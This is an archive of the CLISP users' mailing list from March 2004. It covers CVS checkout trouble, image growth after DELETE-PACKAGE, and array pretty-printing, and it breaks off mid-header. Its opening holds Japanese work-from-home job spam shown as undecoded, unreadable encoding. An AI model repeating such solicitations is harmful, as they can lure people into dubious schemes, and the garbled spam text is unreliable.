$B!v6u$$$?;~4V$G>/$7$G$bM>J,$K2T$2$l$P!&!&!&(B $B!vCOJ}$@$H$=$&$=$&;E;v$,!&!&!&(B $B!v?M4V4X78$,$&$C$H$&$7$/$F!&!&!&(B $B(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(B $BA4(B $BIt(B $B2r(B $B>C(B $B$5(B $B$l(B $B$k(B $B$N(B $B$K(B $B!&!&!&(B $B(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(B $B!!:#$^$G$N="6H%9%?%$%k$G$O$"$-$i$a$k$7$+$J$+$C$?)$7$F$$$k$N$,8=:_$N!"!X(BSOHO$B%o!<%/!Y$G$9!#(B $B!!$3$l$+$i$O!V<+J,$r<+J,$Go$K0BDjE*$J;E;v$r6!5k$9$k$3$H$,2DG=$H$J$C$F$*$j$^$9!#(B $B<}F~$O4JC1$J%G!<%?F~NO!J%Y%?BG$A!K$r(B1$B=54V(B10$B;~4VDxEY$G7n<}#5!A#6K|1_DxEY$K$7$+$J$j(B $B$^$;$s$,D9$/7xeJs=7$rK>$`J}$K$b$K$bK|A4$N(B $B6HL3G[?.$r9T$$$^$9$N$G0B?4$7$F2<$5$$!#(B $B8=:_!"fIW$G$9!*(B $B"!>\$7$$FbMF!";qNA@A5a!JL5NA!K$O2<5-$N%[!<%`%Z!<%8$K$F3NG'2<$5$$!#"!(B $B!!!!!!!!!!!!!!!!!!!!!!!~!!(Bhttp://www.denen-soho.com/$B!!!~(B -------------------------------------------------------------------------------- $B"(;qNA@A5a\:Y!">&IJ!&%5!<%S%9$K$D$$$F$O!"%[%C%H%$%s%U%)%a!<%7%g(B $B%s(B($B3t(B)$B$G$O$*Ez$($9$k$3$H$,$G$-$^$;$s!#%a!<%kCf$G$40FFb$7$F$$$k3F4k6H$N$*(B $BLd$$9g$o$;Ak8}$r$43NG'$/$@$5$$!#(B $B$^$?!"(BHTML$B7A<0$G$*Aw$j$9$k%a!<%k$K$O%&%'%C%V%S!<%3%s$,;HMQ$5$l$F$$$^$9!#(B $B"'G[?.Dd;_!"$^$?$O?4$"$?$j$,$J$$>l9g(B http://news.hot.hot.com/VAY6qoU.yTmjdeDZ9_MoGixYY $B"'G[?.@_Dj$NJQ99(B http://direct.hot.hot.com/config/delivernews.src=deliver $B"'(BHot Hot News$B$K$D$$$F$N$*Ld9g$;!&$4l9g$O!"$*$r!V2r=|4uK>!W$H$7$F!"(B $B$3$N%a!<%k$NFbMF$r$9$Y$F0zMQ$7$F(B ps-info1@p-sol.net $B$^$G$*Aw$j$/$@$5$$!#(B $B"(%a!<%k$,Jx$l$F8+$($k>l9g$O!V(BMS$B%4%7%C%/!W$d!V(BOsaka$BEyI}!W$J$IEyI}%U%)%s(B $B%H$G$4Mw$/$@$5$$!#(B ------------------------------------------------------------------------ $BCm!'G[?.%7%9%F%`$N;EMM>e!"2r=|:n6H$,CY$l$k;v$,$"$j$^$9!#(B $B!!!!$4N;>5$/$@$5$$!#(B ===================================================================== From ps-info2@p-sol.net Mon Mar 08 11:59:24 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B0QuJ-0002Ij-Iu for clisp-list@lists.sourceforge.net; Mon, 08 Mar 2004 11:59:23 -0800 Received: from p3015-ipbf36marunouchi.tokyo.ocn.ne.jp ([220.104.125.15] helo=user) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1B0QeG-0001h8-VC for clisp-list@lists.sourceforge.net; Mon, 08 Mar 2004 11:42:49 -0800 Received: from [127.0.0.1] by user (ArGoSoft Mail Server Plus, Version 1.8 (1.8.4.3)); Thu, 4 Mar 2004 21:41:21 +0900 To: clisp-list@lists.sourceforge.net X-Mailer: Easy DM free Message-ID: <20040304.1241200980@ps-info2-p-sol.net> From: hot MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-2022-JP X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.2 DATE_IN_PAST_96_XX Date: is 96 hours or more before Received: date Subject: [clisp-list] =?ISO-2022-JP?B?GyRCIXlLXEZ8JE4lJCVBJSolNyQqO0U7dj5wSnMheRsoQg==?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 8 12:00:05 2004 X-Original-Date: Thu, 04 Mar 2004 21:41:21 +0900 $B!yK\F|$N%$%A%*%7$*;E;v>pJs!y(B $B(."""#(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,"#""(/(B $B%[%C%H!&%[%C%H!&%K%e!<%9!!!!(B $B!c(B2003.3.4$BH/9T!d(B $B(1"""#(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,"#""(0(B $B!Z"-%*%9%9%a>pJs![(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,!y(B $B4J(-C1(-EP(-O?(-$G(-B((-;E(-;v(-(B $B(,(0(,(0(,(0(,(0(,(0(,(0(,(0(,(0!!(B $B(2(B 3$B7n:G=i$NJg=8$G$9!#(B $B(2(B $BG/Np$O(B20$B:P!A(B55$B:P$^$G!#(B $B(2(B $B7n#5K|!A$+$i(B $B(1(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,"*!!!!(Bhttp://www.denen-soho.com $B!y!&"v!#!&!z!&!#!y!&"v!#!&!z!&!#!y!&"v!#!&!z!&!#!y!&"v!#!&!z!&!#!y!&"v!#!z(B $B"v"v"v"v!Z$"$-$i$a$F$^$;$s$+!):_Bp%o!<%/!*!["v"v"v"v(B $B!!(B $B!!!!!!!!(B $B!y!&"v!#!&!z!&!#!y!&"v!#!&!z!&!#!y!&"v!#!&!z!&!#!y!&"v!#!&!z!&!#!y!&"v!#!z(B $B"#"#"#!]!]"c:_Bp6HL3Jg=8"d!]!]"#"#"#(B $B!XED1`D4I[(BSOHO$B$/$i$V!Y$+$i$N$*CN$i$;!!(B $B"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#(B $B!z!!$3$s$J>pJs8+$D$1$F8+$^$7$?!*!!!z(B $B:#2s$N$4>R2p$O:_Bp6HL3$N2qC$5$l$k$H$7$?$i!&!&!&!&!&(B $B"$"'"$"'"$"'"$"'"$"'"$"'"$"'"$"'"$"'"$"'"$"'(B $B!v;R6!$,>.$5$/$F2H$r6u$1$i$l$J$$!&!&!&(B $B!v@h9T$-IT0B$J$N$G:#$N$&$A$K!&!&!&(B $B!v6u$$$?;~4V$G>/$7$G$bM>J,$K2T$2$l$P!&!&!&(B $B!vCOJ}$@$H$=$&$=$&;E;v$,!&!&!&(B $B!v?M4V4X78$,$&$C$H$&$7$/$F!&!&!&(B $B(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(B $BA4(B $BIt(B $B2r(B $B>C(B $B$5(B $B$l(B $B$k(B $B$N(B $B$K(B $B!&!&!&(B $B(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(B $B!!:#$^$G$N="6H%9%?%$%k$G$O$"$-$i$a$k$7$+$J$+$C$?)$7$F$$$k$N$,8=:_$N!"!X(BSOHO$B%o!<%/!Y$G$9!#(B $B!!$3$l$+$i$O!V<+J,$r<+J,$Go$K0BDjE*$J;E;v$r6!5k$9$k$3$H$,2DG=$H$J$C$F$*$j$^$9!#(B $B<}F~$O4JC1$J%G!<%?F~NO!J%Y%?BG$A!K$r(B1$B=54V(B10$B;~4VDxEY$G7n<}#5!A#6K|1_DxEY$K$7$+$J$j(B $B$^$;$s$,D9$/7xeJs=7$rK>$`J}$K$b$K$bK|A4$N(B $B6HL3G[?.$r9T$$$^$9$N$G0B?4$7$F2<$5$$!#(B $B8=:_!"fIW$G$9!*(B $B"(%G!<%?!]$G$9!K(B $B!!%G%6%$%s!&3+H/Ey!9$r4uK>$NJ}$OLL@\$r4uK>$9$k2q\$7$$FbMF!";qNA@A5a!JL5NA!K$O2<5-$N%[!<%`%Z!<%8$K$F3NG'2<$5$$!#"!(B $B!!!!!!!!!!!!!!!!!!!!!!!~!!(Bhttp://www.denen-soho.com/$B!!!~(B -------------------------------------------------------------------------------- $B"(;qNA@A5a\:Y!">&IJ!&%5!<%S%9$K$D$$$F$O!"%[%C%H%$%s%U%)%a!<%7%g(B $B%s(B($B3t(B)$B$G$O$*Ez$($9$k$3$H$,$G$-$^$;$s!#%a!<%kCf$G$40FFb$7$F$$$k3F4k6H$N$*(B $BLd$$9g$o$;Ak8}$r$43NG'$/$@$5$$!#(B $B$^$?!"(BHTML$B7A<0$G$*Aw$j$9$k%a!<%k$K$O%&%'%C%V%S!<%3%s$,;HMQ$5$l$F$$$^$9!#(B $B"'G[?.Dd;_!"$^$?$O?4$"$?$j$,$J$$>l9g(B http://news.hot.hot.com/VAY6qoU.yTmjdeDZ9_MoGixYY $B"'G[?.@_Dj$NJQ99(B http://direct.hot.hot.com/config/delivernews.src=deliver $B"'(BHot Hot News$B$K$D$$$F$N$*Ld9g$;!&$4l9g$O!"$*$r!V2r=|4uK>!W$H$7$F!"(B $B$3$N%a!<%k$NFbMF$r$9$Y$F0zMQ$7$F(B ps-info1@p-sol.net $B$^$G$*Aw$j$/$@$5$$!#(B $B"(%a!<%k$,Jx$l$F8+$($k>l9g$O!V(BMS$B%4%7%C%/!W$d!V(BOsaka$BEyI}!W$J$IEyI}%U%)%s(B $B%H$G$4Mw$/$@$5$$!#(B ------------------------------------------------------------------------ $BCm!'G[?.%7%9%F%`$N;EMM>e!"2r=|:n6H$,CY$l$k;v$,$"$j$^$9!#(B $B!!!!$4N;>5$/$@$5$$!#(B ===================================================================== From jcorneli@math.utexas.edu Mon Mar 08 14:18:23 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B0T4p-0001o9-1b for clisp-list@lists.sourceforge.net; Mon, 08 Mar 2004 14:18:23 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B0Soj-0006ip-NW for clisp-list@lists.sourceforge.net; Mon, 08 Mar 2004 14:01:45 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i28M1i101463; Mon, 8 Mar 2004 16:01:44 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1B0Soi-0002rP-00; Mon, 08 Mar 2004 16:01:44 -0600 To: clisp-list@lists.sourceforge.net CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Mon, 08 Mar 2004 10:46:30 -0500) X-all-your-base-are-belong-to-us: You are on the way to destruction. References: Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: obtaining CVS clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 8 14:19:07 2004 X-Original-Date: Mon, 08 Mar 2004 16:01:44 -0600 Following the instructions posted there resulted in this - please advise -- [~]% cvs -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp login (Logging in to anonymous@cvs.sourceforge.net) CVS password: [~]% cvs -z3 -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp co clisp cvs checkout: in directory .: cvs [checkout aborted]: *PANIC* administration files missing From kaz@footprints.net Mon Mar 08 14:29:38 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B0TFi-0004WM-Cy for clisp-list@lists.sourceforge.net; Mon, 08 Mar 2004 14:29:38 -0800 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B0ScG-00056L-Q8 for clisp-list@lists.sourceforge.net; Mon, 08 Mar 2004 13:48:52 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 1B0Szb-00088f-00 for clisp-list@lists.sourceforge.net; Mon, 08 Mar 2004 14:12:59 -0800 From: Kaz Kylheku To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Growing image problem. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 8 14:30:04 2004 X-Original-Date: Mon, 8 Mar 2004 14:12:59 -0800 (PST) [I have to do more testing and provide a tiny test case that reproduces this problem.] Suppose you have a program that builds as a CLISP image, and you have a feature in that program whereby it can regenerate itself using sources and write a new image of itself. When you repeatedly invoke this feature, you get a successively larger and larger image, as reported by the figures printed by SAVEINITMEM. This happens even though garbage collection is done just before calling by calling (GC) just before (SAVEINITMEM). In my program, I actually do a DELETE-PACKAGE before re-loading the modules into the image, so that no symbolic references remain to any of the top-level functions and variables. So the growth is not from things like DEFVARS that still have old values, not replaced by the reloading. From sds@gnu.org Mon Mar 08 15:56:52 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B0Uc8-0007uv-6W for clisp-list@lists.sourceforge.net; Mon, 08 Mar 2004 15:56:52 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B0UM0-0002q0-7o for clisp-list@lists.sourceforge.net; Mon, 08 Mar 2004 15:40:12 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i28NdtEs006950; Mon, 8 Mar 2004 18:39:55 -0500 (EST) To: clisp-list@lists.sourceforge.net, Joe Corneli Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Joe Corneli's message of "Mon, 08 Mar 2004 16:01:44 -0600") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Joe Corneli Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: obtaining CVS clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 8 15:57:02 2004 X-Original-Date: Mon, 08 Mar 2004 18:39:55 -0500 > * Joe Corneli [2004-03-08 16:01:44 -0600]: > > > > Following the instructions posted there resulted in this - > please advise -- > > [~]% cvs -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp login > (Logging in to anonymous@cvs.sourceforge.net) > CVS password: > [~]% cvs -z3 -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp co clisp > cvs checkout: in directory .: > cvs [checkout aborted]: *PANIC* administration files missing I cannot reproduce this. please try again. if the problem persists, please file a SourceForge support request (not a CLISP one, but for the SF site!) -- Sam Steingold (http://www.podval.org/~sds) running w2k UNIX, car: hard to learn/easy to use; Windows, bike: hard to learn/hard to use. From jcorneli@math.utexas.edu Mon Mar 08 17:08:11 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B0Vj4-0004LG-JX for clisp-list@lists.sourceforge.net; Mon, 08 Mar 2004 17:08:06 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B0V5T-0003YV-86 for clisp-list@lists.sourceforge.net; Mon, 08 Mar 2004 16:27:11 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i290pO119446; Mon, 8 Mar 2004 18:51:24 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1B0VSu-00036F-00; Mon, 08 Mar 2004 18:51:24 -0600 To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Mon, 08 Mar 2004 10:46:30 -0500) X-all-your-base-are-belong-to-us: You are on the way to destruction. References: Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: obtaining CVS clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 8 17:10:02 2004 X-Original-Date: Mon, 08 Mar 2004 18:51:24 -0600 OK, I figured out how to use the tarball from the webpage. It might be helpful to include a 3 line README.CLISP-CVS like this along with the tarball To use this, untar to produce a directory called "clisp" and then, setenv CVSROOT cvs checkout clisp From jcorneli@math.utexas.edu Mon Mar 08 21:32:13 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B0Zqf-0002gI-29 for clisp-list@lists.sourceforge.net; Mon, 08 Mar 2004 21:32:13 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B0ZaO-0006tg-Mt for clisp-list@lists.sourceforge.net; Mon, 08 Mar 2004 21:15:24 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i295FN109580; Mon, 8 Mar 2004 23:15:23 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1B0ZaN-0003Tl-00; Mon, 08 Mar 2004 23:15:23 -0600 To: clisp-list X-all-your-base-are-belong-to-us: You are on the way to destruction. Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: pretty-printing multi-dimensional arrays Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 8 21:33:02 2004 X-Original-Date: Mon, 08 Mar 2004 23:15:23 -0600 Could this be made prettier? [1]> (make-array '(3 3) :initial-contents '((1 2 3) (4 5 9) (7 8 6))) #2A((1 2 3) (4 5 9) (7 8 6)) Something like this? [nnn]> (make-array '(3 3) :initial-contents '((1 2 3) (4 5 9) (7 8 6))) #2A((1 2 3) (4 5 9) (7 8 6)) Actually, I would have expected the latter to be what would be printed after reading the thread begun by Bruno Haible on Wed, 28 Jan 2004. BTW, I have > *print-pretty* T From pascal@informatimago.com Mon Mar 08 23:40:24 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B0bqh-0005Ti-Rl for clisp-list@lists.sourceforge.net; Mon, 08 Mar 2004 23:40:23 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B0bCg-0001vD-Ej for clisp-list@lists.sourceforge.net; Mon, 08 Mar 2004 22:59:04 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id AA43F586E4; Tue, 9 Mar 2004 08:23:21 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 74EF14F3D5; Tue, 9 Mar 2004 08:22:49 +0100 (CET) Message-ID: <16461.28873.373715.173971@thalassa.informatimago.com> To: Kaz Kylheku Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: Growing image problem. In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 8 23:41:04 2004 X-Original-Date: Tue, 9 Mar 2004 08:22:49 +0100 Kaz Kylheku writes: > In my program, I actually do a DELETE-PACKAGE before re-loading the > modules into the image, so that no symbolic references remain to any of > the top-level functions and variables. So the growth is not from things > like DEFVARS that still have old values, not replaced by the reloading. That's the problem! You believe there remain no symbolic references. But symbols are not necessarily garbage collected just because you delete their home package! You would have to set to nil any place that keep a reference to anything leading to stuff "inside" the package to really get it garbage collected. [52]> (defpackage :test) # [53]> (defun test::fun (x) (format t "from test:fun: ~A~%" x)) TEST::FUN [54]> (defparameter c (let ((x 42)) (lambda (z) (format t "from closure: ~A~%" z) (test::fun (incf x))))) C [55]> c # [56]> (funcall c 2) from closure: 2 from test:fun: 43 NIL [57]> (delete-package :test) T [58]> (funcall c 2) from closure: 2 from test:fun: 44 NIL [59]> (ext:gc) 886018 [60]> c # [61]> And of course, all symbols (such as symbols in the deleted package) referenced by the orphan function are still kept: [66]> (symbol-function (first (fourth (function-lambda-expression c)))) # -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From pascal@informatimago.com Tue Mar 09 00:19:07 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B0cSB-0006bE-2K for clisp-list@lists.sourceforge.net; Tue, 09 Mar 2004 00:19:07 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B0bo7-0004CB-C3 for clisp-list@lists.sourceforge.net; Mon, 08 Mar 2004 23:37:45 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id BC4FC586E3; Tue, 9 Mar 2004 09:02:07 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 983C34F3D5; Tue, 9 Mar 2004 09:01:35 +0100 (CET) Message-ID: <16461.31199.554496.550449@thalassa.informatimago.com> To: Joe Corneli Cc: clisp-list Subject: [clisp-list] Re: pretty-printing multi-dimensional arrays In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 9 00:20:01 2004 X-Original-Date: Tue, 9 Mar 2004 09:01:35 +0100 Joe Corneli writes: > > Could this be made prettier? > > [1]> (make-array '(3 3) :initial-contents '((1 2 3) (4 5 9) (7 8 6))) > #2A((1 2 3) (4 5 9) (7 8 6)) > > > Something like this? > > [nnn]> (make-array '(3 3) :initial-contents '((1 2 3) (4 5 9) (7 8 6))) > #2A((1 2 3) > (4 5 9) > (7 8 6)) > > Actually, I would have expected the latter to be what would be > printed after reading the thread begun by Bruno Haible on Wed, 28 > Jan 2004. BTW, I have > > > *print-pretty* > T I think it's pretty enough to print it on one line when possible. [72]> (make-array '(6 6 ) :initial-element 1) #2A((1 1 1 1 1 1) (1 1 1 1 1 1) (1 1 1 1 1 1) (1 1 1 1 1 1) (1 1 1 1 1 1) (1 1 1 1 1 1)) [73]> (make-array '(5 5) :initial-element 1) #2A((1 1 1 1 1) (1 1 1 1 1) (1 1 1 1 1) (1 1 1 1 1) (1 1 1 1 1)) In any case, specific output functions are needed, because in general you don't write your matrices as: #2A((1 2 3) (4 5 9) (7 8 6)) but as: [ 1 4 7 ] [ 2 5 8 ] [ 3 6 9 ] anyway. -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From mgraffam@mathlab.sunysb.edu Tue Mar 09 06:34:23 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B0iJL-0000LS-8m for clisp-list@lists.sourceforge.net; Tue, 09 Mar 2004 06:34:23 -0800 Received: from sunra.mathlab.sunysb.edu ([129.49.17.48]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B0i2r-00017W-3B for clisp-list@lists.sourceforge.net; Tue, 09 Mar 2004 06:17:21 -0800 Received: from SunRa.mathlab.sunysb.edu (localhost [127.0.0.1]) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5) with ESMTP id i29EHDWO010951 for ; Tue, 9 Mar 